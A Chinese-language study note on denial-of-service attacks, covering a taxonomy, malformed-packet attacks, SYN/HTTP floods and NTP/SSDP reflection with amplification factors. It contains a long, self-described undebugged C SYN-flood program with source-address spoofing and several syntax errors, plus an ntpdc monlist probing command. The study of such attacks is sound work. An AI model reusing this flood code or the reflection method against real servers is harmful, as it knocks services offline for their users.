小白网管进修笔记——拒绝服务攻击
拒绝服务攻击,Denial of Service,DoS
一、多对一对目标发起拒绝服务攻击:分布式拒绝服务攻击(Distributed Denial of Service,DDoS)
分类:
1)按目标:结点型(主机型 和 应用型)、网络连接型
2)按攻击方式:资源破坏型、物理破坏型、服务终止型
3)按受害者:服务器端、客户端
4)直接、间接
5)属类:攻击静态属性(针对基本属性,如控制方式、通信方式、原理、协议等)、攻击动态属性(目标、时间、源地址等动态改变的属性)、攻击交互属性(攻击与被攻击双向存在交互的,如目标对攻击的检测能力等)
6)舞厅分类:舞伴类(与目标通信)、风暴类(发送大量数据阻断通信)、陷阱类(仅干扰目标正常通信)、介入类(切断正常用户到目标的通信,如修改DNS隐匿目标)
7)攻击机制:剧毒(杀手)包型(针对目标系统/应用漏洞发送畸形包以至目标处理过程中崩溃,对本机算力、带宽等要求极低)、风暴型(发送大量包以耗尽系统/带宽资源)、重定向型(通过修改ARP表项或DNS缓存,重定向目标的进出包)
二、剧毒包型:
早期TCP/IP协议栈存在不少漏洞,导致此类攻击流行。目前已较少出现。
1、碎片攻击:又称泪滴攻击,利用低版本NT和Linux处理IP分片漏洞,向目标发送分片偏移地址异常的UDP引起目标崩溃或重启。
2、Ping of Death:发送超长的PING包。目前大多数系统已限制Ping包长度,几乎没用
3、Land:不断构造TCP SYN包,源和目的IP都是目标的IP,目标接到后会完成握手过程创建空连接,直到连接用完。攻击前提,端口状态为打开,避免目标发TCP RST终止三次握手过程
4、循环攻击:利用两个都能产生输出的端口,连接起来,相互作为输入和输出,诱发大量数据包导致拒绝服务(也算是风暴型攻击)
三、风暴型:
1、整个攻击过程:针对缓存溢出漏洞或系统安全配置漏洞,拿下一个或多个系统的控制权,安装DoS管理Handler;再次扫描拿下另一系统,安装DoS Agent;由Handler与Agent加密隐匿通信,指挥Agent对目标发起攻击。攻击使用的网络分组一般有以下几种:
1)TCP floods,发送SYN、ACK、RST,尤其是SYN诱发目标为TCP连接分配内存。如Trinoo工具
2)ICMPEcho(Ping floods)
3)UDP floods,能够方便的伪造源地址,发送诸如NTP、SSDP、DNS等UDP包
4)应用层协议,如HTTP/HTTPS、NTP、SSDP、DNS、SNMP
攻击工具一般综合多种分组,同时改变源IP、源目端口或者其它头部字段,以达到各种便利。利用几点达成目的:1)TCP/IP漏洞;2)Best-Effort服务,不识别攻击流;3)没有认证机制,易被IP欺骗;4)数据包不易追踪出处;5)带宽及系统资源有限。风暴型分两种,直接风暴(控制主机向目标发起)、反射
2、直接型:
1)SYN Flood:伪造源地址向目标发送大量TCP SYN,但对目标的TCP SYN+ACK不作应答,诱使目标不断重试并SYN Timeout后丢弃半连接。一般超过1024个半连接后,不再接受新的连接请求。一般针对Web服务器。参考以下代码(代码还没经过调试):
/* *==================================== *基于Winpcap的多线程SYN Flood *vc6+winpcap SDK *==================================== */ #define WIN32_LEAN_AND_MEAN #define _WSPIAPI_COUNTOF #include <windows.h> #include <winsock2.h> #include <stdio.h> #include <stdlib.h> #include <pcap.h> #include <packet32.h> #pragma comment(lib,"ws2_32.lib") #pragma comment(lib,"wpcap.lib") #pragma comment(lib,"packet.lib") //目标的IP及端口 #define SYN_DEST_IP "192.168.1.14" #define SYN_DEST_PORT 80 //伪装成的IP及MAC #define FAKE_IP #define FAKE_MAC //内存对齐1 #pragma pack(1) //ETH首部 typedef struct et_header { unsigned chareh_dst[6]; //目的MAC unsigned chareh_src[6]; //源MAC unsigned shorteh_type; //协议类型 }ET_HEADER; //IP首部 typedef struct ip_hdr { unsigned charh_verlen; //版本&首部长度 unsigned chartos; //区分服务 unsigned shorttotal_len; //总长度 unsigned shortident; //标识 unsignet shortfrag_and_flags; //3位标志&13位片偏移 unsigned charttl; //生存时间 unsigned charproto; //协议 unsigned shortchecksum; //首部校验和 unsigned intsourceIP; //源IP unsigned intdestIP; //目的IP }IP_HEADER; //TCP首部 typedef struct tcp_hdr { unsigned shortth_sport; //16位源端口 unsigned shortth_dport; //16位目的端口 unsigned intth_seq; //32位序列号 unsigned intth_ack; //32位确认号 unsigned shortth_data_flag; //16位标志号 unsigned shortth_win; //16位窗口大小 unsigned shortth_sum; //16位校验和 unsigned shortth_urp; //16位紧急数据偏移量 unsigned intoption[OPTION_LENTH]; }TCP_HEDER; //TCP伪首部 typedef struct psd_hdr { unsigned long saddr; //源地址 unsigned logn daddr; //目的地址 char mbz; char ptcl; //协议类型 unsigned shorttcpl; //TCP长度 }PSD_HEADER; //最终SYN包结构 typedef struct _SYN_PACKET { ET_HEADER eth; //以太网首部 IP_HEADER ph; //IP首部 TCP_HEADER tcph; //TCP首部 }SYN_PACKET; #pragma pack() //传递给线程的参数体 typedef struct _PARAMETERS { unsigned int srcIP; unsigned int dstIP; unsigned shortstPort; unsigned char * srcmac; unsigned char dstmac[6]; pcap_t* adhandle; }PARAMETERS,*LPPARAMETERS; //获取网卡的MAC unsigned char* GetSelfMac(char* pDevName) { static u_char mac[6]; memset(mac,0,sizeof(mac)); LPADAPTER lpAdapter=PacketOpenAdapter(pDevName); if(!lpAdapter || (lpAdater->hFile ==INV ALID_HANDLE_VALUE)) { return NULL; } PRACKET_OID_DATA OidData = (PRACKET_OID_DATA)malloc(6+sizeof(PACKET_OID_DATA)); if(OidData==NULL) { PacketCloseAdapter(lpAdapter); return NULL; } OidData->Oid=OID_802_3_CURRENT_ADDRESS; OidData->Length=6; memset(OidData->Data,0,6); BOOLEAN Status=PacketRequest(lpAdapter,FALSE,OidData); if(Status) { memcpy(mac,(u_char*)(OidData->Data),6); } free(OidData); PacketCloseAdapter(lpAdapter); return mac; } //计算校验和 unsigned short CheckSum(unsigned short * buffet,int size) { unsigned long cksum=0; while(size>1) { cksum += *buffer++; size -= sizeof(unsigned short); } if(size) { cksum += *(unsigned char *)buffer; } cksum=(cksum >> 16)+(cksum&0xffff); cksum+=(cksum>>16); return (unsigned short) (~cksum); } //封装ARP请求包 void BuildSYNPacket(SYN_PACKET &packet, unsigned char* source_mac, unsigned char* dest_mac, unsigned long srcIp, unsigned long destIp, unsigned short dstPort) { PSD_HEADER PsdHeader; //定义ETH首部 memcpy(packet.eth.eh_dst,dest_mac,6); memcpy(packet.eth.eh_src,source_mac,6); packet.eth.eh_type=htons(0x0800); //定义协议类型0x0800 //定义IP首部 packet.iph.h_verlen=0; packet.iph.h_verlen=((4<<4)|sizeof(IP_HEADER)/sizeof(unsigned int)); packet.iph.tos=0 packet.iph.total_len=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)); packet.iph.ident=1; packet.iph.frag_and_flags=htons(1<<14); packet.iph.ttl=128; packet.iph.proto=IPPROTO_TCP; packet.iph.checksum=0; packet.iph.sourceIP=srcIp; packet.iph.destIP=destIp; //定义TCP首部 packet.tcph.th_sport=htons(rand()%60000+1024); packet.tcph.th_dport=htons(dstPort); packet.tcph.th_seq=htonl(rand()%900000000+100000); packet.tcph.th_ack=0; packet.tcph.th_data_flag=0; packet.tcph.th_data_flag=(11<<4|2<<8); packet.tcph.th_win=htons(512); packet.tcph.th_sum=0; packet.tcph.th_urp=0; packet.tcph.option[0]=htonl(0x020405B4); packet.tcph.option[1]=htonl(0x01030303); packet.tcph.option[2]=htonl(0x0101080A); packet.tcph.option[3]=htonl(0x00000000); packet.tcph.option[4]=htonl(0x00000000); packet.tcph.option[5]=htonl(0x01010402); //构造伪头部 PsdHeader.saddr=srcIp; psdHeader.daddr=packet.iph.destIP; PsdHeader.mbz=0; PsdHeader.ptcl=IPPROTO_TCP; PsdHeader.tcpl=htons(sizeof(TCP_HEADER)); BYTE Buffer[sizeof(PsdHeader)+sizeof(TCP_HEADER)]={0}; memcpy(Buffer,&PsdHeader,sizeof(PsdHeader)); memcpy(Buffer+sizeof(PsdHeader),&packet.tcph,sizeof(TCP_HEADER)); packet.tcph.th_sum=CheckSum((unsigned short *)Buffer,sizeof(PsdHeader)+sizeof(TCP_HEADER)); memset(Buffer,0,sizeof(Buffer)); memcpy(Buffer,&packet.iph,sizeof(IP_HEADER)); packet.iph.checksum=CheckSum((unsigned short *)Buffer,sizeof(IP_HEADER)); return; } //多线程发包 DWORD WINAPI SYNFloodThread(LPVOID lp) { PARAMETERS param; param=*((LPPARAMETERS)lp); Sleep(10); while(true) { SYN_PACKET packet; BuildSYNPacket(packet,param.srcmac,param.dstmac, param.srcIP,param.dstIP,param.dstPort); if(pacp_sendpacket(param.adhandle, (const unsigned char*)&packet, sizeof(packet))==-1) { fprintf(stderr,"pacp_sendpacket error.\n"); } } return 1; } int main(int argc,char* argv[]) { unsigned long fakeIp=inet_addr(FAKE_IP); //要伪装成哪个IP if(fakeIp==INADDR_NONE) { fprintf(stderr,"Invalid IP:%s\n",FAKE_IP); return -1; } unsigned long destIp=inet_addr(SYN_DEST_IP); //目的IP if(destIp==INADDR_NONE) { fprintf(stderr,"Invalid IP:%s\n",SYN_DEST_IP); return -1; } unsigned short dstPort=SYN_DEST_PORT; //目的端口 if(dstPort<0||dstPort>65535) { fprintf(stderr,"InvalidPort:%d\n",SYN_DEST_PORT); return -1; } pcap_if_t * alldevs; //全部网卡列表 pcap_if_t * d; //一个网卡 pcap_addr_t * pAddr; //网卡地址 char errbuf[PCAP_ERRBUF_SIZE]; //错误缓冲区 if(pcap_findalldevs(&alldevs,errbuf)==-1) //获取本机网卡列表 { fprintf(stderr,"Error in pcab_findalldevs:%s\n",errbuf); exit(1); } int i=0; for(d=alldevs;d;d=d->next) { printf("%d",++i); if(d->description) printf(". %s\n",d->description); else printf(". Nodescription available\n"); } if(i==0) { fprintf(stderr,"\nNo interfaces found! \n"); return -1; } printf("Enter the interface number (1-%d):",i); int inum; //用户选择的网卡序号 scanf("%d",&inum); if(inum<1||inum>i) { printf("\nInterface number out of range. \n"); pcap_freealldevs(alldevs); return -1; } HANDLE threadhandle[MAXTHREAD]; PARAMETERS param; //设置目的MAC memcpy(param.dstmac,FAKE_MAC,6); //填充线程的参数体 param.dstIP=destIp; param.srcIP=fakeIp; param.dstPort=dstPort; //移动指针到用户选择的网卡 for(d=alldevs,i=0;i<inum-1;d=d->next,i++) param.srcmac=GetSelfMac(d->name); printf("发送SYN包,本机(%.2X-%.2X-%.2X-%.2X-%.2X-%.2X)试图伪装成%s\n", param.srcmac[0], param.srcmac[1], param.srcmac[2], param.srcmac[3], param.srcmac[4], param.srcmac[5],FAKE_IP); if((param.adhandle=pcap_open_live(d->name,65536,0,1000,errbuf))==NULL) { fprintf(stderr,"\nUnable to open adapter. \n"); pcap_freealldevs(alldevs); return -1; } pAddr=d->addresses; while(pAddr) { //创建多线程 for(int i=0;i<MAXTHREAD;i++) { threadhandle[i]=CreateThread(NULL,0,SYNFloodThread,(void *)¶m,0,NULL); if(!threadhandle) { printf("CreateThread Error : %d\n",GetLastError()); } Sleep(100); } pAddr=pAddr->next; } printf("退出请输入Q或者q!\n"); char cQuit; do { cQuit=getchar(); }while(cQuit !='q' && cQuit !='Q'); return 0; }
2)Ping风暴:利用“大量”主机,向目标发起ICMP,硬生生拖死目标
3)TCP连接耗尽型:与SYN Flood攻击类似,也是发送TCP SYN,区别在于此方式完成三次握手,建立起TCP,并且通过大量的此类空连接完成攻击。优点在于不用像SYN Flood那样不停向目标发起连接请求,只需空连接到一定数量即可达到目的了。SYN Flood一旦停下来后,目标将会恢复,属可控操作。
4)HTTP风暴:向目标发起合法的HTTP请求,在数据传输过程中占满带宽或者占用所有连接。缺点在于需要真实IP,工具为一整个僵尸网络或者大量僵尸主机。DDoS初期,有种防御手段Collapsar抗拒绝服务攻击系统,与之对应的手段为HTTP CC(也称HTTP代理攻击),原理如上。主要针对网页中的asp / php / jsp / cgi。攻击过程中,使用代理能在指令发出后隐藏自身、甚至绕过防火墙,同时代理能保持连接。
3、反射型:不直接向目标发数据包,而通过中间主机(反射机)间接向目标发送大量包。比如利用目标的源地址向另一台或多台高速、高带宽服务器发送TCP SYN/ICMP Echo Request/UDP等,利用对方的回包进行攻击。优点在于无需大量僵尸网络,隐蔽、难追踪。反射结点也难以识别发起源是否恶意攻击。通常选用应答数据包远大于请求包的应用层协议实现攻击,如DNS、NTP、Chargen等。
协议 | 响应放大倍数 | 请求包 |
DNS | 28-54 | DNSQuery (QR=0) |
NTP | 206-556 | Monlist request |
SSDP | 30.8 | Search request |
Chargen | 358.8 | Character Generation Request |
SNMPv2 | 6.3 | GetBulk request |
NetBIOS | 3.8 | Name Resolution |
QOTD | 140.3 | Quote request |
BitTorrent | 3.8 | File search |
Kad | 16.3 | Peer list exchange |
Quake Network Protocol | 63.9 | Server information exchange |
Steam Protocol | 5.5 | Server information exchange |
反射型直接或者间接利用了协议的无连接特性,使得源IP易被伪造,比较常用的是NTP、DNS、SSDP等:
1)NTP反射式:
Network Time Protocol,最新版本v4,采用C/S模型,用的UDP协议通过123端口进行通信,提供了monlist请求功能(MON_GETLIST)。当S收到monlist请求,将返回与S进行过时间同步的最后600个客户的IP地址,响应包每6个IP一组最多返回100个响应包(看到这里,不禁想起,不是可以用来查找网内活跃主机了吗?)linux系统下,“ntpdc -n -c monlist x.x.x.x | wc -l”命令向服务器发送monlist请求。(实验了一下,我所处网络下面的S大多已经不响应monlist请求了)
算了一下,假如找到20万台合条件的S,每秒一个请求包:
1包/s*200000主机*100回包*482字节/回包*8bit/字节~77Gbit/s
攻击过程如下:扫描(找开放123以及NTP的S),利用僵尸网络伪装成目标向S发送monlist请求
防御:网管侧-把NTP独立置于内网,禁用monlist功能或者通过重定向来限定某些源。用户侧则是短时间检测到大量monlist响应,呃,好像只能联系网管操作了吧?或者快速启用备用出口IP和MAC?
2)SSDP反射式:
UPnP通用即插即用协议,包括SSDP(Simple Service Discovery Protocol,简单服务发现)、GENA(Generic Event Notivication Architecture,通用事件通知结构)、SOAP(Simple Object Access Protocol,简单对象访问协议)和XML(Extensible Markup Language,可扩张标记语言),基于IP协议,保证独立于具体的网络传输物理介质。SSDP发现设备,SOAP使设备互操作,XML统一描述设备与服务,HTTP支撑与设备信息交互。
当一个终端设备入网,向特定的多播地址239.255.255.250的SSDP端口(UDP 1900)使用M-SEARCH方法发送“ssdp:discover”消息。(未完待续)